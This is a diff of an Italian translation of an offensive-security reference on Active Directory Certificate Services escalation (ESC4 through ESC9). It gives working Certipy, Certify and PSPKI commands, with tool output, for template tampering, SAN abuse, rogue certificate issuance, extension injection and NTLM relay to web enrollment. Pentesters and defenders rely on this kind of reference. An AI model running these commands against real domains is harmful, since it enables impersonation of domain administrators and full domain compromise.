-Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo `AddKeyCredentialLink` edge verso `JOHNPC`. Poiché questa tecnica è legata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco una piccola anteprima del comando `shadow auto` di Certipy per recuperare l'NT hash della vittima.
+Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo `AddKeyCredentialLink` edge verso `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco una piccola anteprima del comando `shadow auto` di Certipy per recuperare l'NT hash della vittima.
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** può sovrascrivere la configurazione di un modello di certificato con un singolo comando. Per **impostazione predefinita**, Certipy **sovrascriverà** la configurazione per renderla **vulnerabile a ESC1**. Possiamo anche specificare il **`-save-old` parametro per salvare la vecchia configurazione**, che sarà utile per **ripristinare** la configurazione dopo il nostro attacco.
+**Certipy** può sovrascrivere la configurazione di un template di certificato con un singolo comando. Per **impostazione predefinita**, Certipy **sovrascriverà** la configurazione per renderla **vulnerabile a ESC1**. Possiamo anche specificare il **parametro `-save-old` per salvare la vecchia configurazione**, cosa che sarà utile per **ripristinare** la configurazione dopo il nostro attacco.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -177,15 +177,15 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
 # Restore config
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
 ```
-## Vulnerable PKI Object Access Control - ESC5
+## Controllo di Accesso agli Oggetti PKI vulnerabile - ESC5
 
 ### Spiegazione
 
-La fitta rete di relazioni interconnesse basate su ACL, che include diversi oggetti oltre ai certificate templates e alla certificate authority, può influenzare la sicurezza dell'intero sistema AD CS. Questi oggetti, che possono incidere significativamente sulla sicurezza, comprendono:
+La vasta rete di relazioni interconnesse basate su ACL, che include diversi oggetti oltre ai certificate templates e alla certificate authority, può influire sulla sicurezza dell'intero sistema AD CS. Questi oggetti, che possono avere un impatto significativo sulla sicurezza, comprendono:
 
-- L'AD computer object del server CA, che può essere compromesso tramite meccanismi come S4U2Self o S4U2Proxy.
-- Il server RPC/DCOM del server CA.
-- Qualsiasi oggetto AD discendente o contenitore all'interno del percorso specifico del contenitore `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Questo percorso include, ma non si limita a, contenitori e oggetti come il Certificate Templates container, il Certification Authorities container, il NTAuthCertificates object e l'Enrollment Services Container.
+- L'AD computer object del CA server, che può essere compromesso tramite meccanismi come S4U2Self o S4U2Proxy.
+- L'RPC/DCOM server del CA server.
+- Qualsiasi oggetto AD discendente o container all'interno del percorso di container specifico `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Questo percorso include, ma non è limitato a, container e oggetti quali il Certificate Templates container, Certification Authorities container, l'NTAuthCertificates object e l'Enrollment Services Container.
 
 La sicurezza del sistema PKI può essere compromessa se un attaccante con privilegi bassi riesce a prendere il controllo di uno qualsiasi di questi componenti critici.
 
@@ -193,9 +193,9 @@ La sicurezza del sistema PKI può essere compromessa se un attaccante con privil
 
 ### Spiegazione
 
-L'argomento trattato nel [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) tocca anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come descritto da Microsoft. Questa configurazione, quando attivata su una Certification Authority (CA), permette l'inclusione di **valori definiti dall'utente** nel **subject alternative name** per **qualsiasi richiesta**, incluse quelle costruite da Active Directory®. Di conseguenza, questa disposizione consente a un **intruso** di iscriversi tramite **qualsiasi template** configurato per l'**autenticazione** di dominio—specificamente quelli aperti all'iscrizione da parte di utenti **non privilegiati**, come il template User standard. Come risultato, può essere ottenuto un certificato che permette all'intruso di autenticarsi come domain administrator o **qualsiasi altra entità attiva** all'interno del dominio.
+Il tema trattato nel [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) affronta anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come descritto da Microsoft. Questa configurazione, quando attivata su una Certification Authority (CA), permette l'inclusione di valori definiti dall'utente nel subject alternative name per qualsiasi richiesta, incluse quelle costruite da Active Directory®. Di conseguenza, ciò consente a un **intruso** di richiedere un certificato tramite **qualsiasi template** impostato per l'**autenticazione di dominio**—in particolare quelli aperti alla richiesta da parte di utenti **non privilegiati**, come il template User standard. Come risultato, è possibile ottenere un certificato che permette all'intruso di **autenticarsi** come amministratore di dominio o **qualsiasi altra entità attiva** all'interno del dominio.
 
-**Nota**: L'approccio per aggiungere **alternative names** in una Certificate Signing Request (CSR), tramite l'argomento `-attrib "SAN:"` in `certreq.exe` (indicato come “Name Value Pairs”), presenta un **contrasto** rispetto alla strategia di sfruttamento delle SAN in ESC1. Qui, la distinzione risiede in **come le informazioni dell'account sono incapsulate**—all'interno di un attributo del certificato, piuttosto che in un'estensione.
+Nota: L'approccio per aggiungere nomi alternativi in una Certificate Signing Request (CSR), tramite l'argomento `-attrib "SAN:"` in `certreq.exe` (indicato come “Name Value Pairs”), presenta un **contrasto** rispetto alla strategia di sfruttamento delle SAN in ESC1. Qui la differenza risiede in **come le informazioni dell'account sono incapsulate**—in un attributo del certificato, piuttosto che in un'estensione.
 
 ### Abuso
 
@@ -203,11 +203,11 @@ Per verificare se l'impostazione è attivata, le organizzazioni possono utilizza
 ```bash
 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
 ```
-Questa operazione impiega essenzialmente **accesso remoto al registro**, quindi un approccio alternativo potrebbe essere:
+Questa operazione utilizza essenzialmente **remote registry access**, pertanto un approccio alternativo potrebbe essere:
 ```bash
 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
 ```
-Strumenti come [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) sono in grado di rilevare questa misconfigurazione e sfruttarla:
+Strumenti come [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) sono in grado di rilevare questa errata configurazione e sfruttarla:
 ```bash
 # Detect vulnerabilities, including this one
 Certify.exe find
@@ -216,7 +216,7 @@ Certify.exe find
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
 ```
-Per modificare queste impostazioni, supponendo di possedere **domain administrative** rights o equivalenti, il seguente comando può essere eseguito da qualsiasi workstation:
+Per modificare queste impostazioni, assumendo di possedere i diritti **di amministratore di dominio** o equivalenti, il seguente comando può essere eseguito da qualsiasi workstation:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
@@ -225,16 +225,16 @@ Per disabilitare questa configurazione nel tuo ambiente, il flag può essere rim
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
 > [!WARNING]
-> Dopo gli aggiornamenti di sicurezza di maggio 2022, i nuovi **certificates** conterranno una **security extension** che incorpora la **requester's `objectSid` property**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID rispecchia il **requester's `objectSid`**, non il SAN.\
-> Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Weak Certificate Mappings), che prioritizza il **SAN rispetto alla nuova security extension**.
+> Dopo gli aggiornamenti di sicurezza di maggio 2022, i **certificati** emessi di recente conterranno una **estensione di sicurezza** che incorpora la **proprietà `objectSid` del richiedente**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID rispecchia il **`objectSid` del richiedente**, non il SAN.\
+> Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Weak Certificate Mappings), che dà priorità al **SAN rispetto alla nuova estensione di sicurezza**.
 
-## Controllo degli Accessi della Certificate Authority vulnerabile - ESC7
+## Controllo di accesso vulnerabile dell'Autorità di Certificazione - ESC7
 
 ### Attacco 1
 
 #### Spiegazione
 
-Il controllo degli accessi per una Certificate Authority è mantenuto tramite un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati aprendo `certsrv.msc`, facendo clic con il tasto destro su una CA, selezionando Proprietà e poi andando alla scheda Sicurezza. Inoltre, i permessi possono essere enumerati usando il modulo PSPKI con comandi come:
+Il controllo di accesso per un'autorità di certificazione è mantenuto tramite un insieme di autorizzazioni che regolano le azioni della CA. Queste autorizzazioni possono essere visualizzate avviando `certsrv.msc`, cliccando con il tasto destro su una CA, selezionando Proprietà e poi passando alla scheda Sicurezza. Inoltre, le autorizzazioni possono essere enumerate usando il modulo PSPKI con comandi come:
 ```bash
 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
 ```
@@ -242,11 +242,11 @@ This provides insights into the primary rights, namely **`ManageCA`** and **`Man
 
 #### Abuse
 
-Avere i diritti **`ManageCA`** su una certificate authority permette al principal di manipolare le impostazioni da remoto usando PSPKI. Questo include l'attivazione/disattivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica del SAN in qualsiasi template, un aspetto critico per la domain escalation.
+Possedere i diritti **`ManageCA`** su una certificate authority permette al principal di manipolare le impostazioni da remoto usando PSPKI. Questo include l'attivazione/disattivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica di SAN in qualsiasi template, un aspetto critico per l'escalation di dominio.
 
-La semplificazione di questo processo è ottenibile tramite l'uso del cmdlet PSPKI **Enable-PolicyModuleFlag**, che consente modifiche senza interagire direttamente con la GUI.
+La semplificazione di questo processo è ottenibile tramite l'uso del cmdlet PSPKI **Enable-PolicyModuleFlag**, permettendo modifiche senza interazione diretta con la GUI.
 
-Il possesso dei diritti **`ManageCertificates`** facilita l'approvazione delle richieste in sospeso, eludendo di fatto il meccanismo di "CA certificate manager approval".
+Il possesso dei diritti **`ManageCertificates`** facilita l'approvazione delle richieste in sospeso, aggirando efficacemente la protezione "CA certificate manager approval".
 
 Una combinazione dei moduli **Certify** e **PSPKI** può essere utilizzata per richiedere, approvare e scaricare un certificato:
 ```bash
@@ -264,14 +264,14 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R
 # Download the certificate
 Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 ```
-### Attack 2
+### Attacco 2
 
 #### Spiegazione
 
 > [!WARNING]
-> Nell'**precedente attack** **`Manage CA`** i permessi sono stati usati per **abilitare** il flag **EDITF_ATTRIBUTESUBJECTALTNAME2** per eseguire l'**ESC6 attack**, ma questo non avrà alcun effetto finché il servizio CA (`CertSvc`) non viene riavviato. Quando un utente ha il diritto di accesso `Manage CA`, all'utente è anche consentito **riavviare il servizio**. Tuttavia, ciò **non significa che l'utente possa riavviare il servizio da remoto**. Inoltre, E**SC6 might not work out of the box** nella maggior parte degli ambienti aggiornati a causa degli aggiornamenti di sicurezza di maggio 2022.
+> Nell'**attacco precedente** i permessi **`Manage CA`** sono stati usati per **abilitare** il flag **EDITF_ATTRIBUTESUBJECTALTNAME2** per eseguire l'**attacco ESC6**, ma ciò non avrà alcun effetto finché il servizio CA (`CertSvc`) non viene riavviato. Quando un utente ha il diritto di accesso `Manage CA`, gli è anche consentito **riavviare il servizio**. Tuttavia, questo **non significa che l'utente possa riavviare il servizio da remoto**. Inoltre, **ESC6 potrebbe non funzionare immediatamente** nella maggior parte degli ambienti patchati a causa degli aggiornamenti di sicurezza di maggio 2022.
 
-Pertanto, qui viene presentato un altro attack.
+Pertanto, qui viene presentato un altro attacco.
 
 Prerequisiti:
 
@@ -279,7 +279,7 @@ Prerequisiti:
 - Permesso **`Manage Certificates`** (può essere concesso da **`ManageCA`**)
 - Il template di certificato **`SubCA`** deve essere **abilitato** (può essere abilitato da **`ManageCA`**)
 
-La tecnica si basa sul fatto che gli utenti con i diritti di accesso `Manage CA` _e_ `Manage Certificates` possono **emettere richieste di certificato fallite**. Il template di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono iscriversi al template. Pertanto, un **utente** può **richiedere** di iscriversi al **`SubCA`** — richiesta che verrà **negata** — ma poi la certificazione può essere **emessa dal responsabile** successivamente.
+La tecnica si basa sul fatto che utenti con i diritti di accesso `Manage CA` _e_ `Manage Certificates` possono **generare richieste di certificato fallite**. Il template di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono effettuare l'iscrizione al template. Quindi, un **utente** può **richiedere** l'iscrizione al **`SubCA`** - la quale verrà **rifiutata** - ma poi **verrà emessa dal responsabile successivamente**.
 
 #### Abuso
 
@@ -290,7 +290,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully added officer 'John' on 'corp-DC-CA'
 ```
-Il template **`SubCA`** può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il template `SubCA` è abilitato.
+Il **`SubCA`** template può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il template `SubCA` è abilitato.
 ```bash
 # List templates
 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@@ -302,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
 ```
-Se abbiamo soddisfatto i prerequisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul template `SubCA`**.
+Se abbiamo soddisfatto i prerequisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul modello `SubCA`**.
 
-**Questa richiesta verrà rifiutata**, ma salveremo la chiave privata e annoteremo l'ID della richiesta.
+**Questa richiesta sarà negat**a, ma salveremo la chiave privata e annoteremo l'ID della richiesta.
 ```bash
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -316,7 +316,7 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-Con le nostre **`Manage CA` e `Manage Certificates`**, possiamo quindi **emettere la richiesta di certificato fallita** con il comando `ca` e il parametro `-issue-request <request ID>`.
+Con i nostri **`Manage CA` and `Manage Certificates`**, possiamo quindi **emettere la richiesta di certificato fallita** con il comando `ca` e il parametro `-issue-request <request ID>`.
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -335,43 +335,43 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Loaded private key from '785.key'
 [*] Saved certificate and private key to 'administrator.pfx'
 ```
-### Attacco 3 – Abuso dell’estensione Manage Certificates (SetExtension)
+### Attack 3 – Manage Certificates Extension Abuse (SetExtension)
 
 #### Spiegazione
 
-Oltre agli abusi classici ESC7 (abilitare gli attributi EDITF o approvare richieste in sospeso), **Certify 2.0** ha rivelato una nuova primitiva che richiede solo il ruolo *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) sulla Enterprise CA.
+In aggiunta agli abusi classici di ESC7 (abilitare gli attributi EDITF o approvare richieste in sospeso), **Certify 2.0** ha rivelato una nuova primitive che richiede solo il ruolo *Manage Certificates* (noto anche come **Certificate Manager / Officer**) sull'Enterprise CA.
 
-Il metodo RPC `ICertAdmin::SetExtension` può essere eseguito da qualsiasi principal che detenga *Manage Certificates*. Mentre il metodo veniva tradizionalmente usato dalle CA legittime per aggiornare le estensioni su richieste **in sospeso**, un attacker può abusarne per **apporre una estensione di certificato *non predefinita*** (ad esempio una *Certificate Issuance Policy* OID personalizzata come `1.1.1.1`) a una richiesta in attesa di approvazione.
+Il metodo RPC `ICertAdmin::SetExtension` può essere eseguito da qualsiasi principale che possieda *Manage Certificates*. Mentre il metodo veniva tradizionalmente usato dalle CA legittime per aggiornare le estensioni su richieste **in sospeso**, un attaccante può abusarne per **applicare un'estensione di certificato *non di default*** (per esempio una Certificate Issuance Policy OID personalizzata come `1.1.1.1`) a una richiesta che è in attesa di approvazione.
 
-Poiché il template target **non definisce un valore predefinito per quella estensione**, la CA NON sovrascriverà il valore controllato dall’attaccante quando la richiesta verrà infine emessa. Il certificato risultante contiene quindi un’estensione scelta dall’attaccante che può:
+Poiché il template mirato **non definisce un valore di default per quell'estensione**, la CA NON sovrascriverà il valore controllato dall'attaccante quando la richiesta verrà eventualmente emessa. Il certificato risultante conterrà quindi un'estensione scelta dall'attaccante che può:
 
 * Soddisfare requisiti di Application / Issuance Policy di altri template vulnerabili (portando a privilege escalation).
-* Iniettare EKU o policy aggiuntive che concedono al certificato una fiducia inaspettata in sistemi di terze parti.
+* Iniettare EKU o policy aggiuntive che conferiscono al certificato fiducia inaspettata in sistemi di terze parti.
 
-In breve, *Manage Certificates* – precedentemente considerato la “metà meno potente” di ESC7 – può ora essere sfruttato per escalation di privilegi completa o persistenza a lungo termine, senza modificare la configurazione della CA o richiedere il più restrittivo diritto *Manage CA*.
+In breve, *Manage Certificates* – precedentemente considerato la “metà meno potente” di ESC7 – può ora essere sfruttato per escalation di privilegi completa o persistenza a lungo termine, senza toccare la configurazione della CA o richiedere il diritto più restrittivo *Manage CA*.
 
-#### Abusare della primitiva con Certify 2.0
+#### Abusare la primitive con Certify 2.0
 
-1. **Sottomettere una richiesta di certificato che rimarrà *in sospeso*.** Questo può essere forzato con un template che richiede l’approvazione del manager:
+1. **Inviare una richiesta di certificato che rimarrà *in sospeso*.** Questo può essere forzato con un template che richiede approvazione del manager:
 ```powershell
 Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
 # Take note of the returned Request ID
 ```
 
-2. **Aggiungere un’estensione personalizzata alla richiesta in sospeso** usando il nuovo comando `manage-ca`:
+2. **Aggiungere un'estensione personalizzata alla richiesta in sospeso** usando il nuovo comando `manage-ca`:
 ```powershell
 Certify.exe manage-ca --ca SERVER\\CA-NAME \
 --request-id 1337 \
 --set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID
 ```
-*Se il template non definisce già l’estensione *Certificate Issuance Policies*, il valore sopra sarà preservato dopo l’emissione.*
+*Se il template non definisce già l'estensione *Certificate Issuance Policies*, il valore sopra sarà preservato dopo l'emissione.*
 
-3. **Emettere la richiesta** (se il tuo ruolo dispone anche dei diritti di approvazione *Manage Certificates*) oppure attendere che un operatore la approvi. Una volta emessa, scarica il certificato:
+3. **Emettere la richiesta** (se il tuo ruolo ha anche i diritti di approvazione *Manage Certificates*) o aspettare che un operatore la approvi. Una volta emessa, scarica il certificato:
 ```powershell
 Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
 ```
 
-4. Il certificato risultante contiene ora l’OID malicious di issuance-policy e può essere utilizzato in attacchi successivi (es. ESC13, escalation di dominio, ecc.).
+4. Il certificato risultante ora contiene l'OID di issuance-policy malevolo e può essere usato in attacchi successivi (es. ESC13, escalation di dominio, ecc.).
 
 > NOTA: Lo stesso attacco può essere eseguito con Certipy ≥ 4.7 tramite il comando `ca` e il parametro `-set-extension`.
 
@@ -380,23 +380,23 @@ Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
 ### Spiegazione
 
 > [!TIP]
-> In ambienti in cui **AD CS è installato**, se esiste un **web enrollment endpoint vulnerabile** e almeno un **certificate template è pubblicato** che permette **domain computer enrollment e client authentication** (come il template di default **`Machine`**), diventa possibile che **qualsiasi computer con il spooler service attivo venga compromesso da un attacker**!
+> In ambienti dove **AD CS è installato**, se esiste un **endpoint di enrollment web vulnerabile** e almeno un **certificate template è pubblicato** che permette **domain computer enrollment e client authentication** (come il template di default **`Machine`**), diventa possibile che **qualsiasi computer con il servizio spooler attivo venga compromesso da un attaccante**!
 
-Diversi **metodi di enrollment basati su HTTP** sono supportati da AD CS, resi disponibili tramite ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per l’enrollment basato su HTTP sono suscettibili a **NTLM relay attacks**. Un attacker, partendo da una macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in ingresso. Mentre impersona l’account vittima, queste interfacce web possono essere accessibili dall’attacker per **richiedere un certificato client per l’autenticazione usando i template `User` o `Machine`**.
+Diversi **metodi di enrollment basati su HTTP** sono supportati da AD CS, resi disponibili tramite ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per l'enrollment basato su HTTP sono suscettibili a **NTLM relay attacks**. Un attaccante, da una **macchina compromessa**, può impersonare qualsiasi account AD che si autentica tramite NTLM inbound. Indossando le credenziali della vittima, queste interfacce web possono essere usate dall'attaccante per **richiedere un certificato client authentication usando i template `User` o `Machine`**.
 
-- L’**interfaccia di web enrollment** (una vecchia applicazione ASP disponibile su `http://<caserver>/certsrv/`) è di default solo HTTP, il che non offre protezione contro NTLM relay attacks. Inoltre, essa esplicitamente permette solo NTLM tramite il suo Authorization HTTP header, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos.
-- Il **Certificate Enrollment Service** (CES), il **Certificate Enrollment Policy** (CEP) Web Service, e il **Network Device Enrollment Service** (NDES) di default supportano l’autenticazione negotiate tramite il loro Authorization HTTP header. Negotiate authentication **supporta sia** Kerberos che **NTLM**, permettendo a un attacker di **degradare a NTLM** l’autenticazione durante attacchi di relay. Sebbene questi web service abilitino HTTPS per default, HTTPS da solo **non protegge contro NTLM relay attacks**. La protezione da NTLM relay per servizi HTTPS è possibile solo quando HTTPS è combinato con channel binding. Purtroppo, AD CS non attiva Extended Protection for Authentication su IIS, che è richiesta per il channel binding.
+- L'**web enrollment interface** (una vecchia applicazione ASP disponibile su `http://<caserver>/certsrv/`), di default usa solo HTTP, che non offre protezione contro NTLM relay attacks. Inoltre, permette esplicitamente solo l'autenticazione NTLM tramite l'header Authorization HTTP, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos.
+- Il **Certificate Enrollment Service** (CES), il **Certificate Enrollment Policy** (CEP) Web Service e il **Network Device Enrollment Service** (NDES) di default supportano negotiate authentication tramite il loro header Authorization HTTP. Negotiate authentication **supporta sia** Kerberos che **NTLM**, permettendo a un attaccante di **degradare a NTLM** durante gli attacchi di relay. Sebbene questi web service abilitino HTTPS di default, HTTPS da solo **non protegge contro NTLM relay attacks**. La protezione da NTLM relay attacks per servizi HTTPS è possibile solo quando HTTPS è combinato con channel binding. Sfortunatamente, AD CS non attiva Extended Protection for Authentication su IIS, che è richiesta per il channel binding.
 
-Un problema comune negli NTLM relay attacks è la **breve durata delle sessioni NTLM** e l’impossibilità per l’attacker di interagire con servizi che **richiedono NTLM signing**.
+Un problema comune con gli NTLM relay attacks è la **breve durata delle sessioni NTLM** e l'incapacità dell'attaccante di interagire con servizi che **richiedono NTLM signing**.
 
-Tuttavia, questa limitazione viene superata sfruttando un NTLM relay attack per ottenere un certificato per l’utente, poiché il periodo di validità del certificato determina la durata della sessione, e il certificato può essere impiegato con servizi che **esigono NTLM signing**. Per istruzioni sull’utilizzo di un certificato rubato, fare riferimento a:
+Tuttavia, questo limite può essere superato sfruttando un NTLM relay attack per ottenere un certificato per l'utente, dato che il periodo di validità del certificato detta la durata della sessione, e il certificato può essere impiegato con servizi che **richiedono NTLM signing**. Per istruzioni sull'uso di un certificato rubato, fare riferimento a:
 
 
 {{#ref}}
 account-persistence.md
 {{#endref}}
 
-Un’altra limitazione degli NTLM relay attacks è che **una macchina controllata dall’attaccante deve essere autenticata da un account vittima**. L’attaccante può scegliere di aspettare oppure tentare di **forzare** questa autenticazione:
+Un altro limite degli NTLM relay attacks è che **una macchina controllata dall'attaccante deve essere autenticata da un account vittima**. L'attaccante potrebbe aspettare oppure tentare di **forzare** questa autenticazione:
 
 
 {{#ref}}
@@ -405,13 +405,13 @@ Un’altra limitazione degli NTLM relay attacks è che **una macchina controllat
 
 ### **Abuso**
 
-Il comando `cas` di [**Certify**](https://github.com/GhostPack/Certify) enumera gli **endpoint HTTP AD CS abilitati**:
+[**Certify**](https://github.com/GhostPack/Certify)’s `cas` elenca gli **endpoint HTTP AD CS abilitati**:
 ```
 Certify.exe cas
 ```
 <figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
 
-La proprietà `msPKI-Enrollment-Servers` viene usata dalle Autorità di Certificazione aziendali (CA) per memorizzare gli endpoint del Certificate Enrollment Service (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**:
+La proprietà `msPKI-Enrollment-Servers` è utilizzata dalle autorità di certificazione aziendali (CA) per memorizzare gli endpoint del Certificate Enrollment Service (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**:
 ```
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
@@ -439,9 +439,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
 ```
 #### Abuso con [Certipy](https://github.com/ly4k/Certipy)
 
-La richiesta di un certificato viene effettuata da Certipy per impostazione predefinita basandosi sul template `Machine` o `User`, determinato dal fatto che il nome dell'account soggetto a relay termini con `$`. La specifica di un template alternativo può essere ottenuta tramite l'uso del parametro `-template`.
+La richiesta di un certificato viene effettuata da Certipy di default basandosi sul template `Machine` o `User`, determinato dal fatto che il nome dell'account inoltrato finisca con `$`. La specifica di un template alternativo può essere ottenuta mediante il parametro `-template`.
 
-Una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) può quindi essere impiegata per forzare l'autenticazione. Quando si lavora con i controller di dominio, è necessario specificare `-template DomainController`.
+Si può quindi impiegare una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) per forzare l'autenticazione. Quando si tratta di domain controller, è necessario specificare `-template DomainController`.
 ```bash
 certipy relay -ca ca.corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -454,44 +454,44 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
+## Nessuna estensione di sicurezza - ESC9 <a href="#id-5485" id="id-5485"></a>
 
-### Explanation
+### Spiegazione
 
-Il nuovo valore **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) per **`msPKI-Enrollment-Flag`**, denominato ESC9, impedisce l'incorporamento della **nuova estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`** in un certificato. Questa flag diventa rilevante quando `StrongCertificateBindingEnforcement` è impostato su `1` (impostazione predefinita), in contrasto con un'impostazione di `2`. La sua importanza aumenta in scenari dove una mappatura del certificato più debole per Kerberos o Schannel potrebbe essere sfruttata (come in ESC10), dato che l'assenza di ESC9 non altererebbe i requisiti.
+Il nuovo valore **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) per **`msPKI-Enrollment-Flag`**, indicato come ESC9, impedisce l'inclusione della **nuova estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`** in un certificato. Questo flag diventa rilevante quando `StrongCertificateBindingEnforcement` è impostato su `1` (impostazione predefinita), in contrasto con l'impostazione `2`. La sua rilevanza aumenta in scenari in cui potrebbe essere sfruttata una mappatura dei certificati più debole per Kerberos o Schannel (come in ESC10), dato che l'assenza di ESC9 non modificherebbe i requisiti.
 
-Le condizioni in cui l'impostazione di questa flag diventa significativa includono:
+Le condizioni in cui l'impostazione di questo flag diventa significativa includono:
 
-- `StrongCertificateBindingEnforcement` non è impostato su `2` (il valore predefinito è `1`), oppure `CertificateMappingMethods` include la flag `UPN`.
-- Il certificato è contrassegnato con la flag `CT_FLAG_NO_SECURITY_EXTENSION` nella impostazione `msPKI-Enrollment-Flag`.
-- Il certificato specifica qualsiasi client authentication EKU.
+- `StrongCertificateBindingEnforcement` non è impostato su `2` (il valore predefinito è `1`), oppure `CertificateMappingMethods` include il flag `UPN`.
+- Il certificato è contrassegnato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` all'interno dell'impostazione `msPKI-Enrollment-Flag`.
+- Qualsiasi EKU di autenticazione client è specificato dal certificato.
 - Sono disponibili permessi `GenericWrite` su un account per compromettere un altro.
 
-### Abuse Scenario
+### Scenario di abuso
 
-Supponiamo che `John@corp.local` possieda permessi `GenericWrite` su `Jane@corp.local`, con l'obiettivo di compromettere `Administrator@corp.local`. Il template di certificato `ESC9`, al quale `Jane@corp.local` è autorizzata a enrollare, è configurato con la flag `CT_FLAG_NO_SECURITY_EXTENSION` nella impostazione `msPKI-Enrollment-Flag`.
+Supponiamo che `John@corp.local` disponga di permessi `GenericWrite` su `Jane@corp.local`, con l'obiettivo di compromettere `Administrator@corp.local`. Il template di certificato `ESC9`, al quale `Jane@corp.local` è autorizzata a registrarsi, è configurato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` nella sua impostazione `msPKI-Enrollment-Flag`.
 
-Inizialmente l'hash di Jane viene acquisito usando Shadow Credentials, grazie ai permessi `GenericWrite` di John:
